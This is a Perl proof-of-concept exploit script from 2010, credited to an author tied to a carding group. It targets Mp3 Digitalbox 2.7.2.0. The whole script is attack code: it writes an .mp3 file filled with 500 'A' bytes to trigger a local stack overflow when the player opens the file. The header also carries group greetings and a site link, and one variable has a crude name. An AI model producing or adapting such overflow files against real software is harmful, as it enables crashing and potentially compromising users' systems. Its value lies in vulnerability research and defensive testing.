#!/usr/bin/perl # Mp3 Digitalbox 2.7.2.0 (.mp3) Local Stack Overflow POC # Author : v3n0m # Site : http://yogyacarderlink.web.id/ # Group : YOGYACARDERLINK # Date : July, 02-2010 [INDONESIA] # Software : Mp3 Digitalbox # Version : 2.7.2.0 Other versions may also be affected # Download : http://www.tsoft.aplus.pl/ # Greetz : All Yogyacarderlink & devilzc0de Crews sub clear{ system(($^O eq 'MSWin32') ? 'cls' : 'clear'); } clear(); print "|-----------------------------------------------------------|\n"; print "| Mp3 Digitalbox 2.7.2.0 (.mp3) Local Stack Overflow POC |\n"; print "| Created : v3n0m |\n"; print "| E-mail : v3n0m666[at]live[dot]com |\n"; print "| |\n"; print "| |\n"; print "| www.yogyacarderlink.web.id|\n"; print "|-----------------------------------------------------------|\n"; print " Usage: Run this c0de, load file and bo0om!!\n\n"; my $fuck = "\x41" x 500; my $file = "jovita.mp3"; open (FILE,">$file") or die "[!]Cannot open file"; print FILE "$fuck"; print "\nFile successfully created!\n";